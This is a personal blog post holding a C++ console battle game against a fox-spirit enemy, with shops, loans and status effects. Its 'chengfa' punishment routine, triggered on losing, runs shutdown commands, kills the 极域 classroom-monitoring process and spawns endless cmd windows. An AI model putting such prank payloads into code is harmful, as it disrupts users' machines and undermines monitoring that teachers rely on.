跳到正文

个人记录

打败

Moonstruck约 43 分钟
原文
文章信息与版本

文章信息

发布
2025年3月30日
收录
2025年12月12日
更新
2026年8月20日
篇幅
约 43 分钟

版本

  1. v1当前
C++
#include <bits/stdc++.h>
using namespace std;

// 跨平台兼容性
#ifdef _WIN32
#include <windows.h>
void clearScreen() { system("cls"); }
void sleep(int ms) { Sleep(ms); }
#else
#include <unistd.h>
void clearScreen() { system("clear"); }
void sleep(int ms) { usleep(ms * 1000); }
#endif

// 惩罚机制
void chengfa(int cf) {
    if (cf == 1) {
        cout << "因祸得福,关掉极域课堂了\n";
#ifdef _WIN32
        system("taskkill /F /IM StudentMain.exe");
#endif
    } else if (cf == 2) {
        cout << "知道您的电脑水平很差,为你自动关机\n";
#ifdef _WIN32
        system("shutdown /s /t 10");
#else
        system("shutdown -h now");
#endif
    } else if (cf == 3) {
        while (true) cout << "菜,连一个敌人都打不死\n";
    } else {
        cout << "哦不,您抽到了好玩的东西了呢!\n";
        for (int i = 10; i > 0; i--) {
            cout << i << endl;
            sleep(1000);
            clearScreen();
        }
        while (1) { system("start cmd"); printf("\a"); }
    }
}

// 武器效果枚举
enum WeaponEffect { NONE, BURN, FREEZE, SHIELD };

// 武器类
class Weapon {
public:
    Weapon(const string& name, int damage, int price, WeaponEffect effect = NONE, int effectValue = 0)
        : name(name), damage(damage), price(price), effect(effect), effectValue(effectValue) {}

    string getName() const { return name; }
    int getDamage() const { return damage; }
    int getPrice() const { return price; }
    WeaponEffect getEffect() const { return effect; }
    int getEffectValue() const { return effectValue; }

private:
    string name;
    int damage;
    int price;
    WeaponEffect effect;
    int effectValue;
};

// 角色类
class Character {
private:
    // 添加以下成员变量
    int baseAttack;
    int attackGrowthInterval;  // 攻击力增长间隔回合数
    int attackGrowthAmount;    // 每次增长的攻击力数值
public:
    enum Type { PLAYER, ENEMY };
    void setAttackGrowth(int interval, int amount) {
        attackGrowthInterval = interval;
        attackGrowthAmount = amount;
    }
    Character(int health, int money, int attack, Type type = PLAYER)
        : health(health), maxHealth(health), money(money),
          baseAttack(attack), attack(attack), type(type),
          attackGrowthInterval(4), attackGrowthAmount(10),
          debt(0), isFrozen(false), burnDamage(0),
          burnRounds(0), roundCount(0), debtRoundsRemaining(-1),
          isCharmed(false), charmCooldown(0), shieldActive(false),
          hasExecuteSkill(false), skillUsed(false), freezeRounds(0),
          charmCount(0), maxCharmCount(3) {
        backpack.push_back(&getAllWeapons()[0]);
        currentWeapon = backpack[0];
    }

    static vector<Weapon>& getAllWeapons() {
        static vector<Weapon> weapons = {
            Weapon("普通箭", 20, 0),
            Weapon("冰箭", 25, 50, FREEZE, 20),
            Weapon("火箭", 40, 150, BURN, 50),
            Weapon("三重箭", 40, 300),
            Weapon("三重冰箭", 60, 500, FREEZE, 30),
            Weapon("三重火箭", 80, 600, BURN, 60),
            Weapon("护盾", 0, 200, SHIELD),
            Weapon("斩杀令", 0, 500)
        };
        return weapons;
    }
    size_t getBackpackSize() const { 
    size_t count = 0;
    for (auto& w : backpack) {
        if (w->getName() != "斩杀令") {
            count++;
        }
    }
    return count;
}
    void growAttack() {
        if (isEnemy() && roundCount % attackGrowthInterval == 0) {
            baseAttack += attackGrowthAmount;
            attack = baseAttack;
            cout << "★ 逸安的攻击力提升了!当前攻击力:" << attack+20 << endl;
        }
    }
    void attackEnemy(Character& enemy) {
    if (isCharmed && this == &enemy) {
        cout << "你摆脱了魅惑效果!\n";
        isCharmed = false;
        return;
    }

    if (isFrozen) {
        cout << (isEnemy() ? "逸安" : "你") << "被冻结了,本回合无法攻击!\n";
        return;
    }

    Character* realTarget = &enemy;
    if (isCharmed && !isEnemy()) {
        realTarget = this;
        cout << "你被魅惑了,开始攻击自己!\n";
    }

    int totalDamage = attack;
    WeaponEffect effect = NONE;
    int effectValue = 0;

    if (currentWeapon) {
        totalDamage += currentWeapon->getDamage();
        effect = currentWeapon->getEffect();
        effectValue = currentWeapon->getEffectValue();

        string weaponName = currentWeapon->getName();
        if (weaponName == "三重冰箭") {
            totalDamage *= 3;
            for (int i = 0; i < 3; ++i) {
                realTarget->takeDamage(totalDamage / 3, FREEZE, 30);
            }
            return;
        } else if (weaponName == "三重火箭") {
            totalDamage *= 3;
            // 三重火箭的燃烧伤害累加
            int totalBurnDamage = 0;
            for (int i = 0; i < 3; ++i) {
                realTarget->takeDamage(totalDamage / 3, BURN, 60);
                totalBurnDamage += 60; // 每支火箭的燃烧伤害
            }
            // 设置总燃烧伤害
            if (realTarget->isBurning()) {
                realTarget->setBurnDamage(realTarget->getBurnDamage() + totalBurnDamage);
            }
            return;
        } else if (weaponName == "三重箭") {
            totalDamage *= 3;
            for (int i = 0; i < 3; ++i) {
                realTarget->takeDamage(totalDamage / 3, NONE, 0);
            }
            return;
        }
    }

    realTarget->takeDamage(totalDamage, effect, effectValue);
    if (isEnemy()) cout << "逸安发动攻击!";
    cout << "造成" << totalDamage << "点伤害!\n";
}

    void takeDamage(int damage, WeaponEffect effect = NONE, int effectValue = 0) {
        if (shieldActive) {
            damage = static_cast<int>(damage * 0.2);
            cout << "护盾减免80%伤害!实际伤害:" << damage << "\n";
            shieldActive = false;
        }

        health -= damage;
        if (health < 0) health = 0;

        switch (effect) {
            case BURN: {
                int minBurn = 30;
                burnDamage = minBurn + (rand() % (effectValue + 11));
                burnRounds = 2;
                if (!isEnemy()) cout << "你被点燃了!";
                else cout << "逸安被点燃了!";
                cout << " 将受到每回合" << burnDamage << "点燃烧伤害!\n";
                break;
            }
            case FREEZE:
                if (rand() % 100 < effectValue) {
                    isFrozen = true;
                    freezeRounds = 2;
                    if (!isEnemy()) cout << "你被冻结了!";
                    else cout << "逸安被冻结了!";
                    cout << " 本回合无法行动!\n";
                }
                break;
            default: break;
        }
    }

    void processRoundEnd(Character* target = nullptr) {
        roundCount++;
        growAttack();
        if (isEnemy()) {
            // 敌方魅惑技能释放逻辑
            if (roundCount % 5 == 0 ) {
                if (rand() % 100 < 20) {
                    charmCount++;
                    charmCooldown = 5;
                    if (target) {
                        target->setCharmed(true);
                        cout << "★ 逸安释放了魅惑技能!你会在下一回合攻击自己!\n";
                    }
                }
            }
        } else {
            isCharmed = false;  // 玩家回合结束清除魅惑
        }

        if (burnRounds > 0) {
            health -= burnDamage;
            if (health < 0) health = 0;
            if (isEnemy()) cout << "逸安受到" << burnDamage << "点燃烧伤害!\n";
            else cout << "你受到" << burnDamage << "点燃烧伤害!\n";
            burnRounds--;
        }

        if (freezeRounds > 0) {
            freezeRounds--;
            if (freezeRounds == 0) isFrozen = false;
        }

        if (debt > 0 && debtRoundsRemaining > 0) debtRoundsRemaining--;
    }

    void displayStatus() const {
        cout << (isEnemy() ? "逸安" : "玩家") << "状态: "
             << "HP[" << health << "/" << maxHealth << "] "
             << (isCharmed ? "[魅惑] " : "")
             << (canExecute() ? "[斩] " : "")
             << "金币:" << money << " 债务:" << debt
             << " 武器:" << currentWeapon->getName() << endl;
    }

    void displayShopWeapons() const {
        cout << "=== 武器商店 ===\n";
        int index = 0;
        for (auto& w : getAllWeapons()) {
            cout << index++ << ". " << w.getName()
                 << "\t伤害+" << w.getDamage()
                 << "\t价格:" << w.getPrice();
            if (w.getName() == "三重冰箭") cout << " (需要冰箭+三重箭)";
            if (w.getName() == "三重火箭") cout << " (需要火箭+三重箭)";
            if (hasWeapon(w)) cout << " (已拥有)";
            cout << endl;
        }
    }

    void buyWeapon(int index) {
        auto& weapons = getAllWeapons();
        if (index < 0 || index >= (int)weapons.size()) {
            cout << "无效选择!\n";
            return;
        }

        const Weapon& weapon = weapons[index];
        if (weapon.getName() == "斩杀令") {
            if (hasExecuteSkill) {
                cout << "已经拥有斩杀令!\n";
                return;
            }
            if (money >= weapon.getPrice()) {
                money -= weapon.getPrice();
                hasExecuteSkill = true;
                skillUsed = false;
                cout << "★ 领悟奥义【斩杀令】!\n";
            } else {
                cout << "金币不足!\n";
            }
            return;
        }

        if (hasWeapon(weapon)) {
            cout << "已拥有该武器!\n";
            return;
        }

        if (weapon.getName() == "三重冰箭" && (!hasWeapon(weapons[1]) || !hasWeapon(weapons[3]))) {
            cout << "需要同时拥有冰箭和三重箭!\n";
            return;
        }

        if (weapon.getName() == "三重火箭" && (!hasWeapon(weapons[2]) || !hasWeapon(weapons[3]))) {
            cout << "需要同时拥有火箭和三重箭!\n";
            return;
        }

        if (money >= weapon.getPrice()) {
            money -= weapon.getPrice();
            backpack.push_back(&weapon);
            cout << "成功购买 " << weapon.getName() << "!\n";
        } else {
            cout << "金币不足!\n";
        }
    }

    void equipWeapon(int index) {
        if (index >= 0 && index < (int)backpack.size()) {
            currentWeapon = backpack[index];
            cout << "已装备:" << currentWeapon->getName() << endl;
        } else {
            cout << "无效选择!\n";
        }
    }

    void loan(int amount) {
        if (debt > 0) {
            cout << "已有未还贷款!\n";
            return;
        }
        if (amount > 100) {
            cout << "单次最多贷款100金币!\n";
            return;
        }
        money += amount;
        debt += amount;
        debtRoundsRemaining = 3;
        cout << "贷款成功,当前债务:" << debt << endl;
    }

    void repayLoan() {
        int amount = min(money, debt);
        money -= amount;
        debt -= amount;
        cout << "偿还 " << amount << " 债务,剩余债务:" << debt << endl;
        if (debt == 0) debtRoundsRemaining = -1;
    }

    bool useExecuteSkill(Character& enemy) {
        if (!hasExecuteSkill || skillUsed) return false;

        int threshold = enemy.getMaxHealth() * 0.2;
        if (enemy.getHealth() <= threshold) {
            enemy.takeDamage(enemy.getHealth(), NONE, 0);
            cout << "★ 终结技【斩杀令】发动!\n";
        } else {
            enemy.takeDamage(500, NONE, 0);
            cout << "★ 【斩杀令】造成500点威慑伤害!\n";
        }
        skillUsed = true;
        return true;
    }

    void heal(int amount) {
        if (money >= amount) {
            money -= amount;
            addHealth(amount);
            cout << "成功恢复 " << amount << " 点生命值!\n";
        } else {
            cout << "金币不足!\n";
        }
    }

   void displayBackpack() const {
    cout << "=== 背包 ===\n";
    int index = 0;
    for (auto& w : backpack) {
        // 不显示斩杀令
        if (w->getName() != "斩杀令") {
            cout << index++ << ". " << w->getName() << endl;
        }
    }
    // 如果拥有斩杀令,单独显示
    if (hasExecuteSkill) {
        cout << "★ 已领悟奥义【斩杀令】 (按8使用)\n";
    }
}

const Weapon* getWeapon(int index) const {
    // 调整索引以跳过斩杀令
    int adjustedIndex = 0;
    for (size_t i = 0; i < backpack.size(); ++i) {
        if (backpack[i]->getName() != "斩杀令") {
            if (adjustedIndex == index) {
                return backpack[i];
            }
            adjustedIndex++;
        }
    }
    return nullptr;
}

    void removeWeapon(int index) {
    // 调整索引以跳过斩杀令
    int adjustedIndex = 0;
    for (size_t i = 0; i < backpack.size(); ++i) {
        if (backpack[i]->getName() != "斩杀令") {
            if (adjustedIndex == index) {
                index = i; // 转换为实际索引
                break;
            }
            adjustedIndex++;
        }
    }

    if (index >= 0 && index < (int)backpack.size() && backpack[index]->getName() != "斩杀令") {
        if (backpack[index]->getName() == "三重冰箭") {
            auto& weapons = getAllWeapons();
            for (auto it = backpack.begin(); it != backpack.end(); ++it) {
                if ((*it)->getName() == "冰箭" || (*it)->getName() == "三重箭") {
                    money += (*it)->getPrice() / 2;
                    backpack.erase(it);
                    it--;
                }
            }
        } else if (backpack[index]->getName() == "三重火箭") {
            auto& weapons = getAllWeapons();
            for (auto it = backpack.begin(); it != backpack.end(); ++it) {
                if ((*it)->getName() == "火箭" || (*it)->getName() == "三重箭") {
                    money += (*it)->getPrice() / 2;
                    backpack.erase(it);
                    it--;
                }
            }
        }
        backpack.erase(backpack.begin() + index);
        if (currentWeapon == backpack[index]) currentWeapon = backpack[0];
    }
}
    void setDebt(int newDebt) { debt = newDebt; }
    int getDebt() const { return debt; }
    void setCharmed(bool charmed) { isCharmed = charmed; }
    int getDebtRounds() const { return debtRoundsRemaining; }
    bool isBurning() const { return burnRounds > 0; }
int getBurnDamage() const { return burnDamage; }
void setBurnDamage(int damage) { burnDamage = damage; }
    void fullHeal() { health = maxHealth; }
    void addHealth(int amount) { health = min(health + amount, maxHealth); }
    void addMoney(int amount) { money += amount; }
    bool isAlive() const { return health > 0; }
    bool isEnemy() const { return type == ENEMY; }
    int getHealth() const { return health; }
    int getMaxHealth() const { return maxHealth; }
    int getMoney() const { return money; }
    bool hasWeapon(const Weapon& w) const {
        for (auto& wpn : backpack) if (wpn->getName() == w.getName()) return true;
        return false;
    }
    bool canExecute() const { return hasExecuteSkill && !skillUsed; }
    void resetDebtRounds() { debtRoundsRemaining = -1; }
    bool isFrozenState() const { return isFrozen; }
    bool willAttack() const { return true; }
    bool isCharming() const { return isCharmed; }
    bool hasShield() const {
        for (auto& w : backpack) if (w->getEffect() == SHIELD) return true;
        return false;
    }
    int countShields() const {
        int count = 0;
        for (auto& w : backpack) if (w->getEffect() == SHIELD) count++;
        return count;
    }
    void useShield() {
        for (auto it = backpack.begin(); it != backpack.end(); ++it) {
            if ((*it)->getEffect() == SHIELD) {
                backpack.erase(it);
                shieldActive = true;
                return;
            }
        }
    }
    void clearCharm() { isCharmed = false; }
    void resetExecuteSkill() { skillUsed = false; }

private:
    int health, maxHealth, money, attack;
    Type type;
    int debt;
    vector<const Weapon*> backpack;
    const Weapon* currentWeapon;
    bool isFrozen, shieldActive, hasExecuteSkill, skillUsed;
    int burnDamage, burnRounds, roundCount, debtRoundsRemaining;
    bool isCharmed;
    int charmCooldown, freezeRounds, charmCount, maxCharmCount;
};

int getIntegerInput(const string& prompt) {
    int input;
    while (true) {
        cout << prompt;
        if (cin >> input) return input;
        cin.clear();
        cin.ignore(numeric_limits<streamsize>::max(), '\n');
        cout << "无效输入,请重新输入: ";
    }
}

void handleWeaponCollateral(Character& player) {
    bool hasNonOrdinaryArrow = false;
    for (size_t i = 0; i < player.getBackpackSize(); ++i) {
        if (player.getWeapon(i)->getName() != "普通箭") {
            hasNonOrdinaryArrow = true;
            break;
        }
    }

    if (!hasNonOrdinaryArrow) {
        int damage = player.getDebt() * 100;
        cout << "只剩普通箭,扣除 " << damage << " 点生命值!" << endl;
        player.takeDamage(damage);
        player.setDebt(0);
        player.resetDebtRounds();
        return;
    }

    while (true) {
        player.displayBackpack();
        cout << "输入要抵押的武器编号(不能抵押普通箭): ";
        int weaponIndex = getIntegerInput("");

        if (weaponIndex < 0 || weaponIndex >= static_cast<int>(player.getBackpackSize())) {
            cout << "无效编号!\n";
            continue;
        }

        if (player.getWeapon(weaponIndex)->getName() == "普通箭") {
            cout << "不能抵押普通箭!\n";
            continue;
        }

        player.removeWeapon(weaponIndex);
        player.setDebt(0);
        player.resetDebtRounds();
        cout << "武器已抵押!\n";
        break;
    }
}

int main() {
    cout << "此游戏为打败狐妖方逸安,狐妖能够无限复活,看看你能打死几个。如果一个都打不死,将会受到惩罚\n";
    srand(time(NULL));
    int battleRound = 1;
    Character player(5000, 100, 0, Character::PLAYER);
    unique_ptr<Character> enemy(new Character(5000, 0, 0, Character::ENEMY));
    int enemyCount = 1;

    while (player.isAlive()) {
        clearScreen();
        cout << "===== 第" << enemyCount << "个敌人 第" << battleRound << "回合 =====\n";
        player.displayStatus();
        cout << "逸安状态: HP[" << enemy->getHealth() << "/" << enemy->getMaxHealth() << "]\n";

        int choice;
        do {
            cout << "\n请选择行动:\n"
                 << "1. 攻击\t2. 回血\n"
                 << "3. 商店\t4. 背包\n"
                 << "5. 贷款\t6. 还贷\n"
                 << "7. 加金币\t8. 斩杀令\n"
                 << "0. 结束回合\n选择: ";
            choice = getIntegerInput("");

            switch (choice) {
                case 1: player.attackEnemy(*enemy); break;
                case 2: {
                    int amount = getIntegerInput("输入治疗金额(1金币=1生命): ");
                    player.heal(amount);
                    break;
                }
                case 3: {
                    player.displayShopWeapons();
                    int index = getIntegerInput("输入要购买的武器编号(-1返回): ");
                    if (index != -1) player.buyWeapon(index);
                    break;
                }
                case 4: {
                    player.displayBackpack();
                    int eIndex = getIntegerInput("输入要装备的武器编号(-1返回): ");
                    if (eIndex != -1) player.equipWeapon(eIndex);
                    break;
                }
                case 5: {
                    if (player.getDebt() == 0) {
                        int amount = getIntegerInput("输入贷款金额(最大100): ");
                        player.loan(min(amount, 100));
                    } else cout << "请先偿还当前债务!\n";
                    break;
                }
                case 6: player.repayLoan(); break;
                case 7: player.addMoney(30); cout << "获得30金币,当前金币:" << player.getMoney() << endl; break;
                case 8: if (!player.useExecuteSkill(*enemy)) cout << "条件不满足!需要花费500金币购买且本回合未使用过" << endl; break;
            }
        } while (choice != 0 && choice != 1 && choice != 8 && choice != 7);

        player.processRoundEnd();
        enemy->processRoundEnd(&player);

        if (enemy->isAlive() && !enemy->isFrozenState()) {
            bool needShield = enemy->willAttack() || enemy->isCharming();

            if (needShield && player.hasShield()) {
                cout << "\n检测到敌人即将行动,是否使用护盾?\n"
                     << "1. 使用(剩余" << player.countShields() << "个)\n"
                     << "0. 不用\n选择:";
                int shieldChoice = getIntegerInput("");

                if (shieldChoice == 1) {
                    player.useShield();
                    if (enemy->isCharming()) {
                        cout << "★ 护盾清除了魅惑效果!" << endl;
                        player.clearCharm();
                    }
                }
            }

            if (enemy->isCharming()) {
                cout << "★ 逸安逐渐脱下衣服,眼中闪过粉光:「成为我的傀儡吧!」" << endl;
                player.setCharmed(true);
            }
            if (!enemy->isFrozenState()) enemy->attackEnemy(player);
        }

        if (player.getDebt() > 0 && player.getDebtRounds() == 0) handleWeaponCollateral(player);

        if (!enemy->isAlive()) {
            int reward = 100 + 50 * enemyCount;
            int healAmount = 1000 + rand() % 2001;
            player.addHealth(healAmount);
            player.addMoney(reward);
            player.resetExecuteSkill();

            cout << "\n击败逸安!获得" << reward << "金币,恢复"
                 << healAmount << "点生命值!当前血量:["
                 << player.getHealth() << "/" << player.getMaxHealth() << "]\n"
                 << "即将出现更强大的逸安..." << endl;

            enemyCount++;
            enemy.reset(new Character(
                5000 + (rand() % 300 + 500) * (enemyCount - 1),
                0,
                40 + 5 * (enemyCount - 1),  // 基础攻击力
                Character::ENEMY
            ));
            // 设置攻击力增长参数
            enemy->setAttackGrowth(4, 10);  // 需要添加这个方法
            battleRound = 1;
            cin.ignore();
            cin.get();
        } else battleRound++;

        if (!player.isAlive()) {
            if (enemyCount - 1 > 0)
                cout << "\n游戏结束!最终击败了" << (enemyCount - 1) << "个逸安" << endl;
            else {
                cout << "菜!连一个逸安都没有打过!\n";
                int sjcf = rand() % 4 + 1;
                chengfa(sjcf);
            }
            break;
        }

        cout << "\n按回车继续...";
        cin.ignore();
        cin.get();
    }
    return 0;
}//最后美好的见证
原文